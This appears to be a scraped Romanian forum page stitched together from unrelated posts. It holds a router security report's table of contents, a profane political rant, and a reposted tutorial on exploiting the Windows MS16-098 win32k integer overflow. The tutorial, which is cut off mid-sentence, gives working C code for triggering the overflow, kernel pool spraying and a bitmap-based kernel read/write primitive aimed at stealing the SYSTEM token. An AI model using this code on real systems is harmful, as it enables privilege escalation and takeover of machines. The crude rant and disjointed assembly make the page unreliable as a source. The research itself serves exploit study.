Leaderboard

Din CV-ul ministrului de la energie, Toma Petcu. Pe langa altele, competenta de "Bine" in Acrobat Reader =)))))))))))))))) Muie Rromania!

Router-ul Connect Box de la UPC, cel putin al meu, este Compal CH7465LG, software version CH7465LG-NCIP-4.50.18.20-NOSH. M-am apucat de ceva teste pe el si se pare ca SEARCH-LAB a facut o analiza de securitate foarte detaliata, incluzand atat componentele software (network, software, web) cat si hardware, pe Compal CH7465LG-LC Modem/Router CH7465LG-NCIP-4.50.18.13-NOSH. O scurta descriere puteti gasi aici, dar pierdeti toata distractia si informatia: https://www.exploit-db.com/exploits/40159/ Raportul complet, format PDF, este aici: http://www.search-lab.hu/media/Compal_CH7465LG_Evaluation_Report_1.1.pdf Daca nu v-am convins, uite asa arata cuprinsul: 1 Executive Summary............................................................................................................................ 5 2 Introduction ....................................................................................................................................... 8 2.1 Foreword ................................................................................................................................. 8 2.2 Scope ....................................................................................................................................... 8 2.3 Document overview ................................................................................................................ 8 2.4 Version history ........................................................................................................................ 9 3 Test Environment............................................................................................................................. 10 3.1 Samples and other deliveries................................................................................................ 10 3.1.1 Unique identification and version numbers..................................................................... 10 3.1.2 Design ............................................................................................................................... 10 3.1.3 Components...................................................................................................................... 12 3.1.4 Interfaces.......................................................................................................................... 16 3.2 Documentation and other information................................................................................. 18 3.2.1 Generic and chipset-specific information......................................................................... 18 3.2.2 ToE-specific information................................................................................................... 18 3.3 Tools and testing equipment................................................................................................. 19 3.3.1 Hardware tools ................................................................................................................. 19 3.3.2 Software tools................................................................................................................... 19 4 Security Evaluation........................................................................................................................... 20 4.1 External interfaces................................................................................................................. 20 4.1.1 Front panel buttons and LEDs........................................................................................... 20 4.1.2 RF cable interface with DOCSIS......................................................................................... 21 4.1.3 Telephone connectors...................................................................................................... 21 4.1.4 Ethernet interfaces........................................................................................................... 21 4.2 Internal interfaces................................................................................................................. 21 4.2.1 Flash interfaces................................................................................................................. 22 4.2.2 EEPROM interface............................................................................................................. 22 4.2.3 Local memory interface .................................................................................................... 22 4.2.4 PCIe ................................................................................................................................... 22 4.2.5 UART of the Wi-Fi SoC (J15).............................................................................................. 23 4.2.6 UART of the Main SoC (J23).............................................................................................. 23 4.3 System software.................................................................................................................... 23 4.3.1 Flash contents of the main SoC ........................................................................................ 23 4.3.2 Shells of Main SoC............................................................................................................. 25 4.3.3 Shell of Wi-Fi SoC.............................................................................................................. 28 4.3.4 Shell access in Main SoC ................................................................................................... 29 4.4 Security of the network interfaces........................................................................................ 30 4.4.1 Service discovery .............................................................................................................. 30 4.4.2 Web Server ....................................................................................................................... 33 4.4.3 Web GUI............................................................................................................................ 38 Project work ID: P15- 4.4.4 UPnP.................................................................................................................................. 50 4.4.5 SNMP ................................................................................................................................ 50 4.4.6 RPC.................................................................................................................................... 52 4.4.7 Wi-Free ............................................................................................................................. 57 4.5 Security of the sensitive assets ............................................................................................. 59 4.5.1 Web interface credentials................................................................................................. 59 4.5.2 Wi-Fi credentials............................................................................................................... 60 4.5.3 WPS................................................................................................................................... 60 4.5.4 Security of the backup/restore functionality.................................................................... 61 4.5.5 DOCSIS credentials............................................................................................................ 62 5 Conformance to Requirements........................................................................................................ 64 5.1 Security checklist................................................................................................................... 64 6 Evaluation Results............................................................................................................................ 68 6.1 Findings and recommendations............................................................................................ 68 6.1.1 Serial interface was open on the Main SoC...................................................................... 68 6.1.2 Serial interface was open on the Wi-Fi SoC...................................................................... 68 6.1.3 Bootloader menu was accessible on the Main SoC UART ................................................ 68 6.1.4 Bootloader menu was accessible on the Wi-Fi SoC UART................................................ 69 6.1.5 cbnlogin could cause arbitrary code execution................................................................ 69 6.1.6 Unnecessary services were running on the Main SoC...................................................... 69 6.1.7 Buffer overflow in the Web server HTTP version field ..................................................... 69 6.1.8 HTTPS support was disabled on the Web server.............................................................. 70 6.1.9 Hard-coded private key was used for HTTPS.................................................................... 70 6.1.10 Hard-coded private key could be downloaded from the Web interface without authentication............................................................................................................................... 70 6.1.11 HTTPS certificate could be used to impersonate any web site ........................................ 70 6.1.12 Sensitive information disclosure....................................................................................... 71 6.1.13 Unauthenticated remote DoS against the device............................................................. 71 6.1.14 Super and CSR users could not be disabled...................................................................... 71 6.1.15 Attacker could change first installation flag ..................................................................... 72 6.1.16 Password brute-force protection was not active ............................................................. 72 6.1.17 Password brute-force protection could be bypassed....................................................... 72 6.1.18 The user of the modem might steal or replace the DOCSIS credentials .......................... 72 6.1.19 Unauthenticated remote command injection in ping command..................................... 73 6.1.20 Authenticated remote command injection in tracert command ..................................... 73 6.1.21 Unauthenticated remote command injection in stop diagnostic command ................... 73 6.1.22 Remote DoS with stop diagnostic command.................................................................... 73 6.1.23 Buffer overflow in stop diagnostic command................................................................... 74 6.1.24 Authenticated remote command injection with e-mail sending function ....................... 74 6.1.25 Session management was insufficient.............................................................................. 74 6.1.26 CSRF protection could be bypassed.................................................................................. 75 6.1.27 Unauthenticated DoS against Wi-Fi setting modification ................................................ 75 6.1.28 Unauthenticated DoS against the Wi-Fi functionality ...................................................... 75 6.1.29 Unauthenticated changes in WPS settings....................................................................... 75 6.1.30 Unauthenticated local command injection with RPC on Main SoC.................................. 76 6.1.31 Unauthenticated local command injection with RPC on Wi-Fi SoC.................................. 76 6.1.32 Buffer overflow in the Wi-Fi SoC RPC implementation .................................................... 76 6.1.33 Hard-coded keys were used to encrypt the backup file ................................................... 77 6.1.34 UPC Wi-Free network interface was accessible on the Wi-Fi SoC.................................... 77 6.1.35 Backup/restore interface allowed remote reconfiguration without authentication....... 77 6.2 Risk Analysis .......................................................................................................................... 78 7 References........................................................................................................................................ 81 Appendix A Certificate used for HTTPS.............................................................................................. 82 Appendix B Private key used for HTTPS ............................................................................................ 83 Appendix C Serial console on J15 ...................................................................................................... 85 Appendix D Interactive shell on J15................................................................................................... 87 Appendix E Serial console on J23 ...................................................................................................... 91 Appendix F Interactive boot shell on J23 .......................................................................................... 96

1. In calitate de pieton, intr-un oras mega-aglomerat si mega-poluat, sunt de acord cu cat mai multe taxe pentru soferi. In Bucuresti toata lumea se plange de trafic, insa toti sunt in masini. Se plang toti ca nu ajung autobuzele si ambulantele la timp, insa strazile sunt pline de rable de 1000 de euro, pentru ca romanul vrea sa aiba masina, nu ce sa puna pe masa. Lenea si confortul se platesc. 2. Taxa aceea exista pentru a avea o televiziune INDEPENDENTA. Adica nu Antena 3 a lui Voiculescu, care pupa in cur PSD sau Realitatea lui Ghita. O televiziune care in principiu nu ar trebui controlata politic. Si din moment ce in masina se asculta KissFM, Radio Zu sau Manele XXL FM, mi se pare normal sa se plateasca. 3. Lege ca aceea exista de ani de zile in afara si ofera avantaje pentru cetateni. Nu te obliga nimeni sa te folosesti de ea, dar daca ai nevoie, consider ca o vei gasi utila. Dar nu stii asta pana nu ai nevoie. Cat despre taxe si impozite si faptul ca Dragnea vrea sa le scoata, e ca sa multumeasca prostimea. Ce nu stie nici PSD-ul, e ca acele taxe aduc bani la buget care platesc intr-un final bugetarii si pensiile. Daca incepem cu mariri de pensii si salarii (care apropo, nu sunt pentru toata lumea) o sa apara o gramada de probleme: 1. Bugetul de la stat se duce acolo, nu tu autostrazi, nu tu investitii etc. si ne miram de ce Romania arata ca in anul 1800. 2. Daca creste salariul minim, si ei nu se gandesc, creste si numarul de disponibilizari. Patronii nu isi vor mai permite sa tina mai multi angajati si unii vor zbura (destui). 3. Daca creste salariul minim, se incurajeaza munca la negru. Adica fara carte de munca => batrani cu pensii mici care vor vota tot cu unii ca PSD ca sa primeasca si ei o muie la pensie, ca toata viata au muncit la negru, nu ca prostii ca noi care platim zeci de milioane taxe. Romanii nu s-au saturat sa ia muie de la tehnocrati, pentru ca nu au luat niciodata! Romanii isi asteapta muia calda de la PSD care se va rasfrange asupra noastra, a tinerilor.

Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects Reading time ~38 min Posted by saif on 03 January 2017 Categories: Exploit, Fun, Howto, Research Starting from the beginning with no experience whatsoever in kernel land let alone exploiting it, I was always intrigued and fascinated by reverse engineering and exploit development. The idea was simple: find a 1-day patch with an exploitable bug but with no proof of concept exploit currently available, in order to start my reverse engineering and exploit dev journey with.Now the bug discussed here was not my initial choice: I failed at that one. It is actually my second choice and it took almost 4 months to fully understand the exploit and everything related to it. I hope that this blog post is helpful to anyone aspiring to learn more about reverse engineering and exploit development. It is a lengthy post, I’m a new to the exploit-dev kernel stuff, so I implore you to be patient while reading this post. Tools Used: Expand.exe (used to expand the update MSU file) Virtual KD http://virtualkd.sysprogs.org/ (Their claim that they are x45 times faster than normal kernel debugging is absolutely true). Windbg (kd) (because why not). IDA professional. https://www.hex-rays.com/products/ida/ Zynamics BinDiff IDA plugin. https://www.zynamics.com/bindiff.html Using Expand.exe: Expand.exe is used to extract files from individual Microsoft update files (MSU) and the contained (CAB) files. Issuing the commands below, on a Windows system, the update and extracted CAB files will be extracted to the target directory: Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO] Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO] Windbg (KD) Tips and Tricks: I personally prefer Windbg to other debuggers, as it contains very interesting commands, especially for kernel debugging, that absolutely helped with the exploitation process and deserve to be mentioned in this context. kd> dt [OBJECT SYMBOL NAME] [ADDR] The dt command dumps an object structure by using its symbol definition, which is very useful when analysing objects and trying to understand where everything fits specially if these objects symbols are exported. Using the command without the address will produce the structure of that object. For example, to dump the structure of the EPROCESS object we use the following command. By adding the address to the command, the data located at that address will be dumped based on the structure of the referenced object. The commands !pool, !poolfind and !poolused helped me a lot when analysing Kernel pool overflows, and performing kernel pool feng shui. Some initial useful examples are: To dump the kernel pool page layout that contains the supplied address, we can use the following: kd> !pool [ADDR] To retrieve the number of allocations of the object of the supplied pool tag located in the specified pool type: kd> !poolused [POOLTYPE] [POOLTAG] To search the full allocated kernel pool address space of the supplied pool type, for the specified pool tag. kd> !poolfind [POOLTAG] [POOLTYPE] Discussing the usage of IDA professional, VirtualKD, Zynamics BinDiff is beyond the scope of this post. Analysing the Patch and understanding the bug: After the update file was download and expanded, the modified file was win32k.sys version 6.3.9600.18405. When performing a diff with its older version, 6.3.9600.17393, using IDA professional Zynamics BinDiff plugin, an interesting function was found to have been changed with similarity rating 0.98. The vulnerable function was win32k!bFill. Below is the difference between the two versions. The diff quickly shows that an integer overflow was fixed, by adding the function UlongMult3, which is used to detect integer overflows by multiplying the supplied two ULONG integers. If the result overflows the object type, which is a ULONG, it returns an error “INTSAFE_E_ARITHMETIC_OVERFLOW”. This function was added right before the call PALLOCMEM2 that was called with one of the checked arguments [rsp+Size]. This confirms that this integer overflow would lead to an allocation of a small sized object; the question then being – can this value be somehow controlled by the user? When faced with a big problem, its recommended to break it down into smaller problems. As kernel exploitation is a big problem, taking it one step at a time seems the way to go. The exploitation steps are as follows: Reaching the vulnerable function. Controlling the allocation size. Kernel pool feng shui. Abusing the Bitmap GDI objects. Analysing and controlling the overflow. Fixing the overflowed header. Stealing SYSTEM Process Token from the EPROCESS structure. SYSTEM !! Step 1 – Reaching the Vulnerable Function: First we need to understand how this function can be reached by looking at the function definition in IDA. It can be seen that the function works on EPATHOBJ and the function name “bFill” would suggest that it has something to do with filling paths. A quick Google search for “msdn path fill” brought me to the function BeginPath and the using Paths example [5]. bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *) Theoretically speaking, if we take out the relevant code from the example, it should hit the function right?? // Get Device context of desktop hwnd hdc = GetDC(NULL); //begin the drawing path BeginPath(hdc); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); //End the path EndPath(hdc); //Fill Path FillPath(hdc); Well, that didn’t work so I started to dive into why by iterating backwards through the Xrefs to the vulnerable function and adding a break point in windbg, at the start of each of them. EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() Running our sample code again, it was found that the first function that gets hit, and then doesn’t continue to out function was EngFastFill. Without diving deep into reversing this function and adding more time of boring details to the reader we can conclude, in short, that this function is a switch case that will eventually call bPaintPath, bBrushPath, or bBrushPathN_8x8, depending if a brush object is associated with the hdc. The code above didn’t even reach the switch case, it failed before then, on a check that was made to check the hdc type, thus it was worth investing in understanding Device Contexts types[6] Turns out there are four Device Context types: Printer. Display, which is the default one called with the above code Information. Memory, which supports drawing operations on a bitmap object. Looking at the information provided, it was worth trying to switch the device type to Memory(Bitmap) as follows: // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); Turns out, that was exactly what was needed to reach the vulnerable function bFill. Step 2 – Controlling the Allocation Size: Looking at the part where the allocation is made. Before the allocation is called, the function checks whether the value of [rbx+4] (rbx points to our first argument which is the EPATHOBJ), is larger than 14. If it was, then the same value is multiplied by 3 where the overflow happens lea ecx, [rax+rax*2]; The overflow happens actually for two reasons: one the value is being cast into the 32-bit register ecx and second [rax+rax*2] means that the value is multiplied by 3. Doing some calculations we can reach the conclusion that the value needed to overflow this function would be: 0xFFFFFFFF / 3 = 0x55555555 Any value greater than the value above, would overflow the 32-bit register. 0x55555556 * 3 = 0x100000002 Then the result of this multiplication is shifted left by a nibble 4-bits, usually a shift left by 4 operation, is considered to be translated to multiplication by 2^4 0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32-bit register value) Still, there is no conclusion on how this value can be controlled, so I decided to read more posts about Windows GDI exploitation specially using PATH objects, to try and see if there was any mention to this. I stumbled upon this awesome blog post[1] by Nicolas Economou @NicoEconomou of CoreLabs, which was discussing the MS16-039 exploitation process. The bug discussed in this blog post had identical code to our current vulnerable function, as if someone copy pasted the code in these two functions. It is worth mentioning that it would have taken me much more time to figure out how to exploit this bug, without referencing this blog post, so for that I thank you @NicoEconomou. However, one would think that everything should be straight forward from here with a great guide on hand, but it wasn’t at all. Although the post really helped with the idea of exploitation and specifically what this mysterious value was, there were a couple of differences in exploitation, and for someone with no experience in Kernel exploitation or Kernel-land in general, I had to dive deep into each aspect of the exploitation process and understand how it works. – “Teach a man to fish, and he will eat for eternity”. Continuing, the value was the number of points in the PATH object, and can be controlled by calling PolylineTo function multiple times. The modified code that would trigger an allocation of 50 Bytes would be: //Create a Point array static POINT points[0x3fe01]; // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. for (int j = 0; j < 0x156; j++) { PolylineTo(hMemDC, points, 0x3FE01); } } // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); By calling PolylineTo with number of Points 0x3FE01 for 0x156 times would yield. 0x156 * 0x3FE01 = 0x5555556 Notice that the number is smaller than the number produced by the previous calculations, the reason is that in practice, when the bit is shifted left by 4 the lowest nibble will be shifted out of the 32-bit register, and what will be left is the small number. The other thing worth mentioning is that the application will add an extra point to our list of points, so the number that is passed to the overflowing instruction will be in reality 0x5555557. Let’s do the maths and see how it will work. 0x5555557 * 0x3 = 0x10000005 0x10000005 << 4 = 0x00000050 By that point, the size of the allocation will be 50 bytes and the application will try to copy 0x5555557 points to that small memory, which will quickly give us a BSOD, and with that successfully triggering the bug! Step 3 – Kernel Pool Feng Shui: Now starts the hard part: Kernel Pool Feng Shui Kernel Pool Feng Shui is a technique used to force the memory layout to be in a deterministic state, prior to the vulnerable object being allocated, by using a set of allocations/de-allocations calls. The idea is to force the allocation of our vulnerable object to be adjacent to an object under our control, overflowing the adjacent object and use the overflown object to change the memory corruption primitive and gain read/write over kernel memory. The object of choice would be Bitmap, with pool tag Gh05, which is allocated to the same Page Session Pool and can be controlled using SetBitmapBits/GetBitmapBits to write/read to arbitrary locations. This technique was discussed by Diego Juarez of CoreLabs on his post[2], and KeenTeam in their talk[10] as well. The crash happens because at the end of the bFill function, the allocated object is freed, when an object is freed, the kernel validates the adjacent memory chunks pool header; if it was corrupted, it will exit with error BAD_POOL_HEADER. Since we overflowed the adjacent page(s), this check will fail and a BSOD will happen. The trick to mitigate crashing on this check, is to force the allocation of our object at the end of memory page. This way, there will not be a next chunk and the call to free() will pass normally. This was mentioned in Nicolas’s blog post[1], and in only one sentence in the “A Guide to Kernel Exploitation: Attacking the Core” book[9]. There are a couple of things to keep in mind to achieve this Feng Shui: The Kernel pool page is of size 0x1000 bytes, any larger allocations will be allocated to the Large kernel Pool. Any allocation of size bigger than 0x808 will be allocated to the beginning of the memory page. Subsequent allocations will be allocated from the end of the page. The allocations need to be of the same Pool type, which in our case was Paged Session Pool. Allocating objects will usually add a pool header of size 0x10. If the allocated object is 0x50, the allocator will actually allocate 0x60 including the pool header. Armed with the above, it was time to develop the kernel pool Feng Shui and see how this will work, having a look at the exploit code: void fungshuei() { HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0 bitmaps[k] = bmp; } HACCEL hAccel, hAccel2; LPACCEL lpAccel; // Initial setup for pool fengshui. lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); SecureZeroMemory(lpAccel, sizeof(ACCEL)); // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } } The flow of allocations/de-allocations can be clearly seen, however a GIF is worth a thousand words. Walking through the allocation/de-allocations functions, to show what actually happens, the first step of the kernel Feng Shui was: HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); bitmaps[k] = bmp; } Start by 5000 allocations of Bitmap objects with size 0xf80. This will eventually start allocating new memory pages and each page will start with a Bitmap object of size 0xf80, leaving 0x80 bytes space at the end of the page. To check if the spray worked we can break on the call to PALLOCMEM from within bFill and use !poolused 0x8 Gh?5 to see how many bitmap objects were allocated. The other thing, is how to calculate the sizes which when supplied to the CreateBitmap() function translate into the Bitmap objects allocated by the kernel. The closest calculations I could find were mentioned by Feng yuan in his book[11]. It was a close calculation but doesn’t add up to the allocation sizes observed. By using the best way a hacker can know, trial and error, change the size of the bitmap and see the allocated size object that was allocated using !poolfind command. // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } Then, 7000 allocations of accelerator table objects (Usac). Each Usac is of size 0x40, so allocating two of them will allocate 0x80 bytes of memory. This, will fill the left 0x80 bytes from the previous allocation rounds and completely fill our pages (0xf80 + 80 = 0x1000). // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } Next de-allocation of the previously allocated object will leave our memory page layout with 0xf80 free bytes at the beginning of the page. //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } Allocating 5000 bytes of region objects (Gh04) of size 0xbc0. This size is essential, since if the bitmap was placed directly adjacent to our vulnerable object, overflowing it will not overwrite the interesting members (Discussed in later sections) of the Bitmap object, which are needed to use GetBitmapBits/SetBitmapBits to read/write to kernel memory. This was also pointed out by Nicolas in his post[1], however the offsets were a bit different than what was needed in this case. Also, how the calculated the size of the allocated object in relation to the arguments supplied to CreateEllipticRgn function, was found through trial and error. At this point of the feng shui, the kernel page has 0xbc0 Gh04 object in the beginning of the page, and 0x80 at the end of the page, with free space of 0x3c0 bytes. // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } The allocation of 5000 bitmap objects of size 0x3c0 to fill this freed memory, the bitmap objects becoming the target of our controlled overflow. // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } Next part is the allocation of 1700 Clipboard objects (Uscb) of size 0x60, just to fill any memory locations that have size 0x60 prior to allocating our vulnerable object; so when the object gets allocated, it almost certainly will fall into our memory layout. Nicolas used this object to do the kernel spray with, I didn’t manage to simulate the free or the syscall to do that, however what was discovered was some quirky behaviour, basically to copy stuff into the clipboard programmatically with the following code: void AllocateClipBoard(unsigned int size) { BYTE *buffer; buffer = malloc(size); memset(buffer, 0x41, size); buffer[size-1] = 0x00; const size_t len = size; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), buffer, len); GlobalUnlock(hMem); OpenClipboard(wnd); EmptyClipboard(); SetClipboardData(CF_TEXT, hMem); CloseClipboard(); GlobalFree(hMem); } What was discovered is that, if you omit the OpenCliboard, CloseClipBboard, EmptyClipboard and just call SetClipboardData directly, the object will be allocated and never freed. I guess you could get Memory exhaustion after many calls but that wasn’t tested, furthermore, in my experiments as mentioned the object isn’t freed at all even if the clipboard is opened and emptied using EmptyCliBoard; or by using what Nicolas mentioned by consecutive calls to SetBitmapData, and EmptyClipboad. // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } The last step of our kernel pool feng shui, was to create holes in the allocated accelerator table objects (Usac), exactly 2000 holes. The kernel feng shui function is also called right before the bug is triggered, if all went well our vulnerable object will be allocated into one of these holes right where its intended to be at the end of the memory page. Step 4 – Abusing the Bitmap GDI objects: This technique is heavily discussed in both CoreLabs posts [1],[2], and in their latest presentation at ekoparty 2016[11]. I highly recommend reading these, before continuing, as it won’t be explained in such depth in this post. The structure of the bitmap object starts with a SURFOBJ64 followed by the bitmap data, three members of this object interests us, sizlBitmap, pvScan0, hdev. The sizlBitmap is the width and height of the bitmap, the pvScan0 is a pointer to the beginning of the bitmap data, and hdev is a pointer to the device handle. typedef struct { ULONG64 dhsurf; // 0x00 ULONG64 hsurf; // 0x08 ULONG64 dhpdev; // 0x10 ULONG64 hdev; // 0x18 SIZEL sizlBitmap; // 0x20 ULONG64 cjBits; // 0x28 ULONG64 pvBits; // 0x30 ULONG64 pvScan0; // 0x38 ULONG32 lDelta; // 0x40 ULONG32 iUniq; // 0x44 ULONG32 iBitmapFormat; // 0x48 USHORT iType; // 0x4C USHORT fjBitmap; // 0x4E } SURFOBJ64; // sizeof = 0x50 The way bitmap objects can be abused, is by overwriting the sizlBitmap, or the pvScan0 with controlled values. The way SetBitmapBits/GetBitmapBits validate the amount of data to be written/read from is by validating the size of the data available for the bitmap, through these two object members. GetBitmapBits, for example, will calculate the width x height x 4 (32 bits per pixel in bytes, which is supplied as an argument to CreateBitmap) of the bitmap to validate the amount of data it can read from the address pointed to by pvScan0. If the sizlBitmap member was overwritten with a larger width and height, it will expand the amount of data the bitmap can read/write to by that larger value. In this exploit, for example, it was width 0xFFFFFFFF x height 1 x 4 (32 bitsprepel). If the overflow data can be controlled, then we can directly set the pvScan0 member with an address that we are interested to read/write to. The way to abuse controlled data overwrite as discussed in the blog post[2] is to use two bitmap objects: Set the first bitmap pvScan0 to the address of the pvScan0 of the second bitmap. Use the first bitmap as a manager, to set the pvScan0 pointer of the second bitmap to point to the address that we want to read/write to. The second bitmap object will act as a worker, which will actually read/write to this address. In this exploits case, the data used to overflow the heap is not fully controlled, since the data being copied is points or more specific edge objects of size 0x30 bytes each. Luckily, as will be shown in the next section, some of the data being overwritten can be indirectly controlled, and will be used to overwrite the sizlBitmap member with the values 0x1 and 0xFFFFFFFF, which would expand the amount of data that can be read/write by the bitmap object. The flow of how this will be used is as follows. Trigger the overflow and overwrite the sizlBitmap member of an adjacent bitmap object. Use the expanded bitmap as a manager to overwrite the pvScan0 member of a second bitmap. Utilize the second bitmap as the worker and use it, to read/write to address set by the first bitmap. The importance of the hdev member, will be discussed in details in the next section, the main point is that it’s either set to 0 or a pointer to a valid device object. Step 5 – Analysing and Controlling the Overflow: Now it’s time to analyse how the overflow can be controlled. In Nicolas’s post[1], he mentioned that in his case, the points are copied only if they are not identical, which allowed him to control the overflow, however this was not the case for me. To better understand this, we need to have a look at the addEdgeToGet function, which copies the points to the newly allocated memory. In the beginning, the addEdgeToGet assigns the r11 and r10 register to the values of the current point.y [r9+4] and the previous point.y [r8+4]. Later, a check is performed, which checks whether the previous point.y is less than [r9+0c], which in this case was 0x1f0, if so the current point will be copied to our buffer, if not the current point to be skipped. It was noticed also the point.y value was shifted left by a nibble, i.e. if the previous point.y = 0x20, the value will be 0x200. Now that we have the primitives of how we can control the overflow, we need to find out how the values 0x1 and 0xFFFFFFFF will be copied across. In the first check, the function will subtract the previous point.y at r10 from the current point.y at ebp. If the results were unsigned, it will copy the value 0xFFFFFFFF to offset 0x28 of our buffer pointed to by rdx. The assumption here, is that this function checks the direction of which the current point.y is to the previous point.y. In the second check, the same is done for point.x, the previous point.x at r8 is subtracted from the current point.x at ebx and if the results are unsigned, the function will copy 0x1 to offset 0x24 of our buffer pointed to by r15. This makes sense since it corresponds with the previous check copying to offset 0x28, as well as the fact that we want to only overflow the sizlBitmap structure. With point structures that are of size 0x30 bytes, also it copied the value 1 to the hdev member of the object pointed to by [r15+0x24]. Calculating the number of points to overflow the buffer to reach the sizLBitmap member, was easy and the way it was enforced by the exploit was simply changing the value of the previous point.y to a larger value that would fail the main check discussed previously, and thus the points will not be copied, looking at the code snippet from the exploit. static POINT points[0x3fe01]; for (int l = 0; l < 0x3FE00; l++) { points[l].x = 0x5a1f; points[l].y = 0x5a1f; } points[2].y = 20; //0x14 < 0x1f points[0x3FE00].x = 0x4a1f; points[0x3FE00].y = 0x6a1f; This is how the initial points array was initialized notice the value of points[2].y is set to 20 that is 0x14 in hex, which is less than 0x1f, and will thus copy the subsequent point to our allocated buffer. for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) { points[2].y = 0x5a1f; } if (!PolylineTo(hMemDC, points, 0x3FE01)) { fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); } } Then a check was added to the loop calling PolyLineTo, to check if the loop iteration was bigger than 0x1F, then change the value of points[2].y to a larger value that will be bigger than 0x1F0 and thus fail the check and the subsequent points will not be copied to our buffer. This will effectively control the overflow as such that the function will overflow the buffer until the next adjacent bitmap object sizlBitmap member with 0x1 and 0xFFFFFFFF, effectively expanding this bitmap object, allowing us to read/write past the original bounds of the bitmap object. The way to figure out which bitmap object was the one is by, iteratively, calling GetBitmapBits with size larger than the original values on each bitmap from our kernel pool spray; if it succeeds then this bitmap was the one that was overflowed, making it the manager bitmap and the next one in the bitmap array will be the worker bitmap. for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); if (res > 0x150) // if check succeeds we found our bitmap. } Hopefully, if everything is working as planned, we should be able to read 0x1000 bits from memory. Below there is the bitmap object before and after the overflow, the header, sizLBitmap and hdev members were overflowed. When the exploit resumes, and the loop to detect which is the vulnerable bitmap is executed, a crash happens after several calls to GetBitmapBits. The crash occurs in the PDEVOBJ::bAlowSharedAcces function. When trying to read from the address 0x0000000100000000, which is the hdev member of the overwritten bitmap object above, during the analysis, it was noticed that bitmap objects usually had either NULL or a pointer to a Gdev device object in this member, in the case of a pointer to a device object. The function 